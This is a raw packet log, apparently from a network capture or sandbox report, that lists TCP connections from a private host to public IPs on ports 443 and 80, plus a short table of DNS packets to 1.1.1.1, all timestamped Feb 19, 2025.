Feb 19, 2025 20:43:23.435848951 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.435899019 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.435914993 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.435930014 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.435972929 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.435981035 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.435992956 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.436126947 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.440984011 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.441060066 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.441096067 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.441159964 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.441169024 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.441266060 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.445919991 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.446011066 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.446053982 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.446072102 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.446080923 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.446130037 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.450947046 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.451037884 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.451076984 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.451131105 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.451139927 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.451186895 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.455971003 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.456056118 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.456094980 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.456146955 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.456156015 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.456387997 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.460933924 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.461011887 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.461142063 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.461194038 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.461411953 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.461426973 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.462770939 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.462785959 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.465909958 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.466005087 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.466023922 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.510778904 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.512833118 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.512901068 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.512933969 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.512964964 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.512979984 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.513015985 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.517792940 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.517858982 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.517888069 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.517945051 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.517954111 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.517997980 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.535990000 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.536029100 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.536046982 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.536086082 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.536097050 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.536120892 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.536125898 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.536151886 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.536151886 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.536176920 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.536197901 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.547662973 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.547728062 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.547759056 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.547768116 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.547871113 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.547931910 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.548194885 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.548206091 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.755940914 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.756299019 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.756334066 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.757320881 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.757392883 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.757736921 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.757797956 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.757880926 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.757889032 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.797785044 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.868952036 CET	443	49724	104.16.5.189	192.168.2.16
Feb 19, 2025 20:43:23.869421005 CET	49724	443	192.168.2.16	104.16.5.189
Feb 19, 2025 20:43:23.869436026 CET	443	49724	104.16.5.189	192.168.2.16
Feb 19, 2025 20:43:23.870511055 CET	443	49724	104.16.5.189	192.168.2.16
Feb 19, 2025 20:43:23.870573997 CET	49724	443	192.168.2.16	104.16.5.189
Feb 19, 2025 20:43:23.871423006 CET	49724	443	192.168.2.16	104.16.5.189
Feb 19, 2025 20:43:23.871503115 CET	443	49724	104.16.5.189	192.168.2.16
Feb 19, 2025 20:43:23.871592045 CET	49724	443	192.168.2.16	104.16.5.189
Feb 19, 2025 20:43:23.871598005 CET	443	49724	104.16.5.189	192.168.2.16
Feb 19, 2025 20:43:23.884809017 CET	443	49722	142.250.181.228	192.168.2.16
Feb 19, 2025 20:43:23.885018110 CET	49722	443	192.168.2.16	142.250.181.228
Feb 19, 2025 20:43:23.885035992 CET	443	49722	142.250.181.228	192.168.2.16
Feb 19, 2025 20:43:23.886689901 CET	443	49722	142.250.181.228	192.168.2.16
Feb 19, 2025 20:43:23.886774063 CET	49722	443	192.168.2.16	142.250.181.228
Feb 19, 2025 20:43:23.887609959 CET	49722	443	192.168.2.16	142.250.181.228
Feb 19, 2025 20:43:23.887697935 CET	443	49722	142.250.181.228	192.168.2.16
Feb 19, 2025 20:43:23.907264948 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.907309055 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.907340050 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.907360077 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.907402039 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.907426119 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.907444000 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.907618999 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.907669067 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.907675028 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.908159018 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.908185005 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.908230066 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.908236027 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.908278942 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.912523985 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.912607908 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.913079023 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.913105011 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.924774885 CET	49724	443	192.168.2.16	104.16.5.189
Feb 19, 2025 20:43:23.940790892 CET	49722	443	192.168.2.16	142.250.181.228
Feb 19, 2025 20:43:23.940855026 CET	443	49722	142.250.181.228	192.168.2.16
Feb 19, 2025 20:43:23.956775904 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.988888979 CET	49722	443	192.168.2.16	142.250.181.228
Feb 19, 2025 20:43:23.994131088 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.994287014 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.994390965 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.994402885 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.994512081 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.994633913 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.994684935 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.994692087 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.994745016 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.994975090 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.995124102 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.995202065 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.995254040 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.995260000 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.995301962 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.995593071 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.995975971 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.996049881 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.996118069 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.996124029 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.996165991 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.996170998 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.996247053 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.996336937 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.996397018 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.996403933 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.996443033 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.996891022 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.997030973 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.997117043 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.997176886 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.997184992 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.997226954 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.997231960 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.997414112 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.998064041 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.998167992 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.998182058 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:24.145488024 CET	443	49724	104.16.5.189	192.168.2.16
Feb 19, 2025 20:43:24.145740032 CET	443	49724	104.16.5.189	192.168.2.16
Feb 19, 2025 20:43:24.145908117 CET	49724	443	192.168.2.16	104.16.5.189
Feb 19, 2025 20:43:24.146837950 CET	49724	443	192.168.2.16	104.16.5.189
Feb 19, 2025 20:43:24.146852016 CET	443	49724	104.16.5.189	192.168.2.16
Feb 19, 2025 20:43:24.166739941 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.166841030 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:24.166974068 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.167288065 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.167319059 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:24.635967016 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:24.636348009 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.636390924 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:24.637475967 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:24.637552977 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.637972116 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.638063908 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:24.638180971 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.679337978 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:24.690865993 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.690896988 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:24.738826036 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.821531057 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:24.821599960 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:24.821696043 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.822495937 CET	49725	443	192.168.2.16	104.16.2.189
Feb 19, 2025 20:43:24.822526932 CET	443	49725	104.16.2.189	192.168.2.16
Feb 19, 2025 20:43:26.444241047 CET	49678	443	192.168.2.16	20.189.173.10
Feb 19, 2025 20:43:26.746773958 CET	49678	443	192.168.2.16	20.189.173.10
Feb 19, 2025 20:43:27.351824045 CET	49678	443	192.168.2.16	20.189.173.10
Feb 19, 2025 20:43:27.623823881 CET	49673	443	192.168.2.16	204.79.197.203
Feb 19, 2025 20:43:28.565814972 CET	49678	443	192.168.2.16	20.189.173.10
Feb 19, 2025 20:43:30.914992094 CET	49680	80	192.168.2.16	192.229.211.108
Feb 19, 2025 20:43:30.977859974 CET	49678	443	192.168.2.16	20.189.173.10
Feb 19, 2025 20:43:31.214835882 CET	49680	80	192.168.2.16	192.229.211.108
Feb 19, 2025 20:43:31.820838928 CET	49680	80	192.168.2.16	192.229.211.108
Feb 19, 2025 20:43:32.508550882 CET	49740	443	192.168.2.16	104.21.11.253
Feb 19, 2025 20:43:32.508589983 CET	443	49740	104.21.11.253	192.168.2.16
Feb 19, 2025 20:43:32.508693933 CET	49740	443	192.168.2.16	104.21.11.253
Feb 19, 2025 20:43:32.508932114 CET	49740	443	192.168.2.16	104.21.11.253
Feb 19, 2025 20:43:32.508946896 CET	443	49740	104.21.11.253	192.168.2.16
Feb 19, 2025 20:43:32.978902102 CET	443	49740	104.21.11.253	192.168.2.16
Feb 19, 2025 20:43:32.980858088 CET	49740	443	192.168.2.16	104.21.11.253
Feb 19, 2025 20:43:32.980876923 CET	443	49740	104.21.11.253	192.168.2.16
Feb 19, 2025 20:43:32.982438087 CET	443	49740	104.21.11.253	192.168.2.16
Feb 19, 2025 20:43:32.982568026 CET	49740	443	192.168.2.16	104.21.11.253
Feb 19, 2025 20:43:32.986875057 CET	49740	443	192.168.2.16	104.21.11.253
Feb 19, 2025 20:43:32.986965895 CET	443	49740	104.21.11.253	192.168.2.16
Feb 19, 2025 20:43:32.987092018 CET	49740	443	192.168.2.16	104.21.11.253
Feb 19, 2025 20:43:32.987101078 CET	443	49740	104.21.11.253	192.168.2.16
Feb 19, 2025 20:43:33.035861969 CET	49740	443	192.168.2.16	104.21.11.253
Feb 19, 2025 20:43:33.037026882 CET	49680	80	192.168.2.16	192.229.211.108
Feb 19, 2025 20:43:34.611394882 CET	443	49722	142.250.181.228	192.168.2.16
Feb 19, 2025 20:43:34.611505985 CET	443	49722	142.250.181.228	192.168.2.16
Feb 19, 2025 20:43:34.611546040 CET	443	49740	104.21.11.253	192.168.2.16
Feb 19, 2025 20:43:34.611603022 CET	49722	443	192.168.2.16	142.250.181.228
Feb 19, 2025 20:43:34.611658096 CET	443	49740	104.21.11.253	192.168.2.16
Feb 19, 2025 20:43:34.614232063 CET	49740	443	192.168.2.16	104.21.11.253
Feb 19, 2025 20:43:34.614686012 CET	49740	443	192.168.2.16	104.21.11.253
Feb 19, 2025 20:43:34.614696026 CET	443	49740	104.21.11.253	192.168.2.16
Feb 19, 2025 20:43:34.618102074 CET	49722	443	192.168.2.16	142.250.181.228
Feb 19, 2025 20:43:34.618138075 CET	443	49722	142.250.181.228	192.168.2.16
Feb 19, 2025 20:43:34.668704033 CET	49752	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:34.668736935 CET	443	49752	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:34.669008970 CET	49752	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:34.669152975 CET	49752	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:34.669166088 CET	443	49752	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.142849922 CET	443	49752	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.143172026 CET	49752	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.143205881 CET	443	49752	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.144231081 CET	443	49752	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.144396067 CET	49752	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.145380974 CET	49752	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.145380974 CET	49752	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.145450115 CET	443	49752	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.145478964 CET	49752	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.145647049 CET	443	49752	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.145735979 CET	49752	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.145735979 CET	49752	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.145939112 CET	49756	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.145991087 CET	443	49756	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.146162987 CET	49756	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.146442890 CET	49756	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.146456957 CET	443	49756	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.440903902 CET	49680	80	192.168.2.16	192.229.211.108
Feb 19, 2025 20:43:35.615482092 CET	443	49756	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.615838051 CET	49756	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.615853071 CET	443	49756	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.616942883 CET	443	49756	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.617028952 CET	49756	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.617501974 CET	49756	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.617575884 CET	443	49756	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.617758036 CET	49756	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.617764950 CET	443	49756	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:35.661375999 CET	49756	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:35.735753059 CET	443	49711	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:35.735940933 CET	443	49711	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:35.736023903 CET	49711	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:35.790854931 CET	49678	443	192.168.2.16	20.189.173.10
Feb 19, 2025 20:43:36.339184999 CET	443	49756	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:36.339287996 CET	443	49756	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:36.339365959 CET	49756	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:36.340377092 CET	49756	443	192.168.2.16	172.67.150.227
Feb 19, 2025 20:43:36.340394974 CET	443	49756	172.67.150.227	192.168.2.16
Feb 19, 2025 20:43:36.463572025 CET	49711	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:36.463592052 CET	443	49711	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:37.228863955 CET	49673	443	192.168.2.16	204.79.197.203
Feb 19, 2025 20:43:40.247896910 CET	49680	80	192.168.2.16	192.229.211.108
Feb 19, 2025 20:43:44.411629915 CET	49818	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:44.411691904 CET	443	49818	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:44.411760092 CET	49818	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:44.412066936 CET	49818	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:44.412080050 CET	443	49818	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:44.431828976 CET	65090	53	192.168.2.16	162.159.36.2
Feb 19, 2025 20:43:44.436908007 CET	53	65090	162.159.36.2	192.168.2.16
Feb 19, 2025 20:43:44.436990976 CET	65090	53	192.168.2.16	162.159.36.2
Feb 19, 2025 20:43:44.441967010 CET	53	65090	162.159.36.2	192.168.2.16
Feb 19, 2025 20:43:44.892930031 CET	443	49818	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:44.893191099 CET	49818	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:44.893202066 CET	443	49818	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:44.893524885 CET	443	49818	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:44.893810987 CET	49818	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:44.893886089 CET	443	49818	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:44.894028902 CET	65090	53	192.168.2.16	162.159.36.2
Feb 19, 2025 20:43:44.899110079 CET	53	65090	162.159.36.2	192.168.2.16
Feb 19, 2025 20:43:44.899162054 CET	65090	53	192.168.2.16	162.159.36.2
Feb 19, 2025 20:43:44.943883896 CET	49818	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:45.404942036 CET	49678	443	192.168.2.16	20.189.173.10
Feb 19, 2025 20:43:49.860985994 CET	49680	80	192.168.2.16	192.229.211.108
Feb 19, 2025 20:43:59.791271925 CET	443	49818	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:59.791364908 CET	443	49818	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:59.791439056 CET	49818	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:44:00.683703899 CET	49818	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:44:00.683738947 CET	443	49818	104.21.25.83	192.168.2.16
Feb 19, 2025 20:44:23.272136927 CET	65280	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:44:23.272156954 CET	443	65280	142.250.185.68	192.168.2.16
Feb 19, 2025 20:44:23.272243977 CET	65280	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:44:23.272464991 CET	65280	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:44:23.272475004 CET	443	65280	142.250.185.68	192.168.2.16
Feb 19, 2025 20:44:23.932077885 CET	443	65280	142.250.185.68	192.168.2.16
Feb 19, 2025 20:44:23.932420015 CET	65280	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:44:23.932429075 CET	443	65280	142.250.185.68	192.168.2.16
Feb 19, 2025 20:44:23.933104038 CET	443	65280	142.250.185.68	192.168.2.16
Feb 19, 2025 20:44:23.933387041 CET	65280	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:44:23.933470964 CET	443	65280	142.250.185.68	192.168.2.16
Feb 19, 2025 20:44:23.982112885 CET	65280	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:44:33.845000029 CET	443	65280	142.250.185.68	192.168.2.16
Feb 19, 2025 20:44:33.845123053 CET	443	65280	142.250.185.68	192.168.2.16
Feb 19, 2025 20:44:33.845206976 CET	65280	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:44:34.685069084 CET	65280	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:44:34.685136080 CET	443	65280	142.250.185.68	192.168.2.16
Feb 19, 2025 20:45:23.324561119 CET	65282	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:45:23.324608088 CET	443	65282	142.250.185.68	192.168.2.16
Feb 19, 2025 20:45:23.324681044 CET	65282	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:45:23.324978113 CET	65282	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:45:23.324990034 CET	443	65282	142.250.185.68	192.168.2.16
Feb 19, 2025 20:45:23.986032009 CET	443	65282	142.250.185.68	192.168.2.16
Feb 19, 2025 20:45:23.986396074 CET	65282	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:45:23.986404896 CET	443	65282	142.250.185.68	192.168.2.16
Feb 19, 2025 20:45:23.986725092 CET	443	65282	142.250.185.68	192.168.2.16
Feb 19, 2025 20:45:23.987443924 CET	65282	443	192.168.2.16	142.250.185.68
Feb 19, 2025 20:45:23.987504959 CET	443	65282	142.250.185.68	192.168.2.16
Feb 19, 2025 20:45:24.040438890 CET	65282	443	192.168.2.16	142.250.185.68

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2025 20:43:18.391129971 CET	53	49854	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:18.470218897 CET	53	50088	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:18.546482086 CET	54953	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:18.546715021 CET	49437	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:18.557090044 CET	53	54953	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:18.558377981 CET	53	49437	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:19.451219082 CET	62394	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:19.451359987 CET	52147	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:19.458484888 CET	53	52147	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:19.458570004 CET	53	62394	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:19.467092991 CET	54387	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:19.467240095 CET	49686	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:19.474805117 CET	53	54387	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:19.487896919 CET	53	49686	1.1.1.1	192.168.2.16
